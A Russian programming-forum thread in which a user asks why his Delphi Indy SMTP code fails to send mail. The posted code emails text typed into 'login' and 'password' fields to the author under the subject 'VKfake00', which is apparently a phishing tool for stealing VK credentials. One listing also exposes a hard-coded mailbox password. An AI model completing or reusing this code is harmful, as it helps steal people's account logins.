Форум программистов, компьютерный форум, киберфорум
Delphi: Сети
Войти
Регистрация
Восстановить пароль
Блоги Сообщество Поиск Заказать работу  
 
 
Рейтинг 4.62/13: Рейтинг темы: голосов - 13, средняя оценка - 4.62
0 / 0 / 0
Регистрация: 11.10.2014
Сообщений: 63

Отправка письма на почту

13.10.2014, 20:19. Показов 3062. Ответов 29
Метки нет (Все метки)

Студворк — интернет-сервис помощи студентам
Ребята,пожалуйста помогите,прошу.Кто знает,или кто делал такую программу,не могли бы вы скинуть исходник(Рабочий),если нет,то послушайте проблему.Вот в чем проблема.У меня программа,когда первый раз скампелировалась,и отправила письмо,нормально.Но когда я послу этого начал снова кампелировать,у меня письмо не приходило на почту.А когда я нажимаю на кнопку один раз,у меня не чего не происходит,а когда второй,ошибка(Она находиться ниже в картинке).Прошу помогите,уже 4 день ломаю голову.Заранее спасибо.(P.S Не надо писать,что порт 25(он заблокирован),порт 465).

Delphi
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
procedure TForm1.Button1Click(Sender: TObject);
var
data,s,e:string;
begin
idSmtp1.Host:='smtp.mail.ru';
idSmtp1.Port:=465;
idSmtp1.Username:='krekhov00@mail.ru';
idSmtp1.Password:='пароль от почты';
idMessage1.Body.Text:='Логин/'+Edit1.text+'Пароль/'+Edit2.Text;
idMessage1.From.Text:='krekhov00@mail.ru';
idMessage1.Recipients.EMailAddresses:='mister_q00@mail.ru';
idMessage1.Subject:='VKfake00';
 
idSmtp1.Connect();
if idSmtp1.Connected=true then
idSmtp1.Send(idMessage1);
idSmtp1.Disconnect;
end;
 
end.
0
Programming
Эксперт
39485 / 9562 / 3019
Регистрация: 12.04.2006
Сообщений: 41,671
Блог
13.10.2014, 20:19
Ответы с готовыми решениями:

Отправка письма с вложением на почту
помогите с кодом для отправка письма с вложением на почту версия делфи 10.1 berlin

Отправка письма на электронную почту
Здравствуйте! Не могу понять, почему программа не работает и выдает ошибку в процессе выполнения "Access violation at address...

Отправка письма на почту с компьютера с русским именем
Проблема состоит в том, что программка не хочет отправлять сообщения с компьютеров с русским именем, а вот когда делаешь имя своего компа...

29
0 / 0 / 0
Регистрация: 11.10.2014
Сообщений: 63
15.10.2014, 13:00  [ТС]
Студворк — интернет-сервис помощи студентам
Пфф а ты думал,я настоящий пароль дам.
0
Модератор
 Аватар для FIL
3492 / 2614 / 742
Регистрация: 19.09.2012
Сообщений: 7,977
15.10.2014, 13:20
Цитата Сообщение от Mister_Q Посмотреть сообщение
Пфф а ты думал,я настоящий пароль дам.
Я думал ты создашь тестовый почтовый ящик на котором все это можно проверить.
У меня, например, нет почты на Майле.
0
0 / 0 / 0
Регистрация: 11.10.2014
Сообщений: 63
16.10.2014, 12:28  [ТС]
Avazart,все сделал как в вашей теме.Все тоже самое,тоже не отправляется.Не могли бы вы скинуть исходник с этой программой,чтоб только можно было заменить емаил и пароль.Только надежда на вас.Пожалуйста.
0
Эксперт С++
 Аватар для Avazart
8489 / 6156 / 615
Регистрация: 10.12.2010
Сообщений: 28,683
Записей в блоге: 30
16.10.2014, 14:47
Так исходник на С++Builder XE3.
0
0 / 0 / 0
Регистрация: 11.10.2014
Сообщений: 63
16.10.2014, 16:01  [ТС]
Извините,но что?Я не понял,у меня не delphi C++ ,а просто delphi.
Delphi
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
unit Unit1;
 
interface
 
uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls, IdBaseComponent, IdComponent, IdTCPConnection,
  IdTCPClient, IdMessageClient, IdSMTP, XPMan, IdMessage, IdAntiFreezeBase,
  IdAntiFreeze, IdHTTP, IdIOHandler, IdIOHandlerSocket, IdSSLOpenSSL,
  IdServerIOHandler;
 
type
  TForm1 = class(TForm)
    IdSMTP1: TIdSMTP;
    Edit1: TEdit;
    Edit2: TEdit;
    Button1: TButton;
    IdMessage1: TIdMessage;
    XPManifest1: TXPManifest;
    Memo1: TMemo;
    IdAntiFreeze1: TIdAntiFreeze;
    IdSSLIOHandlerSocket1: TIdSSLIOHandlerSocket;
    IdServerIOHandlerSSL1: TIdServerIOHandlerSSL;
    procedure Button1Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;
 
var
  Form1: TForm1;
 
implementation
 
{$R *.dfm}
 
procedure TForm1.Button1Click(Sender: TObject);
begin
idSSLIOHandlerSocket1.SSLOptions.Method:=sslvTLSv1;
//
idSMTP1:=TIdSMTP.Create(nil);
//
idSmtp1.Host:='smtp.rambler.ru';
idSmtp1.Port:=456;
idSmtp1.Username:='krekhova@rambler.ru';
idSmtp1.Password:='rambler228323';
idSmtp1.IOHandler:=idSSLIOHandlerSocket1;
idSmtp1.HeloName:=('HelloName');
idSmtp1.ReadTimeout:=15000;
//
idMessage1.From.Text:='krekhov00@mail.ru';
idMessage1.Recipients.EMailAddresses:='artemachq@yandex.ru';
IdMessage1.CharSet:='koi8-r';
//
if idSmtp1.Connected=true then
begin
idMessage1.Clear;
idMessage1.From.Address:=idSmtp1.Username;
idMessage1.Recipients.EMailAddresses:=idSmtp1.Username;
idMessage1.Subject:='1111';
idMessage1.Body.Text:='Ëîãèí/'+Edit1.text+'Ïàðîëü/'+Edit2.Text;
idSmtp1.Send(idMessage1);
end
else
begin
idSmtp1.Disconnect;
end;
 
end;
 
end.
0
Эксперт С++
 Аватар для Avazart
8489 / 6156 / 615
Регистрация: 10.12.2010
Сообщений: 28,683
Записей в блоге: 30
16.10.2014, 16:16
Цитата Сообщение от Mister_Q Посмотреть сообщение
Delphi
1
2
idSmtp1.Host:='smtp.rambler.ru';
idSmtp1.Port:=456;
А почитать http://help.rambler.ru/mail/ma... enty/1275/ внимательно ?
А подумать?

Код был приведен для Indy10 в предыдущих версиях нет смысла пробовать.
0
0 / 0 / 0
Регистрация: 11.10.2014
Сообщений: 63
16.10.2014, 16:47  [ТС]
В предыдущих версия delphi????

Добавлено через 5 минут
А на Delphi 7 enterprice можно через pop отправлять.Или все таки придется качать новую версию????
0
Эксперт С++
 Аватар для Avazart
8489 / 6156 / 615
Регистрация: 10.12.2010
Сообщений: 28,683
Записей в блоге: 30
16.10.2014, 16:54
Цитата Сообщение от Mister_Q Посмотреть сообщение
В предыдущих версия delphi????
1. Удалить предыдущую версию.
2. Установить новую.

Цитата Сообщение от Mister_Q Посмотреть сообщение
А на Delphi 7 enterprice можно через pop отправлять.
Мат часть учи! Через Pop3 можно только проверят почту но не отправлять.

Добавлено через 2 минуты
Цитата Сообщение от Mister_Q Посмотреть сообщение
Или все таки придется качать новую версию????
Естественно...
0
0 / 0 / 0
Регистрация: 13.10.2014
Сообщений: 35
24.10.2014, 10:52
Та же трабла, SSL поменял согласно изменениям почтового сервиса. Раньше работала отправка нормально.
Сменил SSL согласно почтового сервиса, при отправке нет ни ошибок, ни чего, просто как будто конпка не имеет кода.
Автор темы ты решил проблему?
0
Эксперт С++
 Аватар для Avazart
8489 / 6156 / 615
Регистрация: 10.12.2010
Сообщений: 28,683
Записей в блоге: 30
24.10.2014, 12:34
Цитата Сообщение от SKS87 Посмотреть сообщение
Раньше работала отправка нормально.
Раньше можно было работать без SSL.
0
Надоела реклама? Зарегистрируйтесь и она исчезнет полностью.
inter-admin
Эксперт
29715 / 6470 / 2152
Регистрация: 06.03.2009
Сообщений: 28,500
Блог
24.10.2014, 12:34
Помогаю со студенческими работами здесь

Программа для отправки письма на почту
Сколько уже пишу на этом форуме,ни кто не может мне помочь с проектом.Раз так,я готов купить программу за 60-100 рублей,хотя бы так,раз уж...

Рабочий пример отправки письма на почту
Здравствуйте. Приведите пожалуйста рабочий пример отправки письма из мемо на почту. То что я нагуглил, выдают ошибку. Добавлено...

Отправка сообщений на почту
Пытался написать программу для отсылки сообщений на почту. Но выбивает ошибку при отправке:'Email sending without SSL/TLS encryption is not...

Отправка результатов на почту
Привет! Разрабатываю тест в делфи с регистрацией человека и выводом результата. В качестве БД выбрал Access. Вопрос: как сделать так, чтобы...

Отправка сообщения на почту
Здравствуйте, можете написать код отправки сообщения на почту? Делал по гайдам - не помогло. Прошу помощи :cry:


Искать еще темы с ответами

Или воспользуйтесь поиском по форуму:
30
Ответ Создать тему
Новые блоги и статьи
Транскрипция 55-минутного видео через Whisper: WhisperDesktop облажался, спас Google Colab[
anaschu 01.06.2026
Понадобилось получить текст из свежезагруженного видео на YouTube. Казалось бы, задача на пять минут. Заняла полтора часа. Делюсь опытом — может кому пригодится последовательность решений. . . .
21 мат мед. Планы на развитие модели здравоСохранения
anaschu 01.06.2026
AnyLogic: план развития симуляционной модели рабочего коллектива — динамический абсентеизм, реальные данные, три сценария сравнения Продолжаю серию постов о дискретно-событийной модели рабочего. . .
20. Мат мед. Абсентеизм как отдельный тип простоя
anaschu 29.05.2026
Апдейт модели: исправленные баги, абсентеизм и новые механизмы Продолжаю развивать ранее описанную модель рабочего коллектива на AnyLogic. За последние несколько дней был проведён серьёзный. . .
19. здоровье, усталость и психотип работника влияют на производительность предприятия, и наоборот, производительность на здоровье, усталось и психотип
anaschu 28.05.2026
Дискретно-событийная модель рабочего коллектива на AnyLogic: здоровье, выгорание, психотипы и микростимуляция Привет, коллеги. Хочу поделиться итогами нескольких недель работы над симуляционной. . .
"Прокси" для последовательного порта
Eddy_Em 28.05.2026
Эту штуку написал я достаточно давно. Но сейчас вот понадобилось настроить датчик грозы, но при этом не отключать его от "метеодемона". Соответственно, надо запустить этот "прокси": метеодемон будет. . .
Рефакторинг программы уравнивания.
Massaraksh7 26.05.2026
Пример по предыдущей записи в блоге. Но, надо заметить, что, во-первых, там оптимизация не только математики, но и работы с базой данных, и с графами, а во-вторых, это ещё не всё.
Использование TThread в Lazarus для математических вычислений.
Massaraksh7 25.05.2026
Производя рефакторинг своих программ на предмет ускорения их работы, обратил внимание на такой аспект, как сокращение времени матвычислений. Дело в том, что приходится работать с большими матрицами. . .
Модель здравосохранения 18. Чем здоровее работник, тем быстрее выгорает
anaschu 24.05.2026
Имитационная модель корпоративного здравоохранения: что показывает математика Сегодня в модели рабочего коллектива на AnyLogic появились три новые механики — выгорание через накопленную усталость,. . .
КиберФорум - форум программистов, компьютерный форум, программирование
Powered by vBulletin
Copyright ©2000 - 2026, CyberForum.ru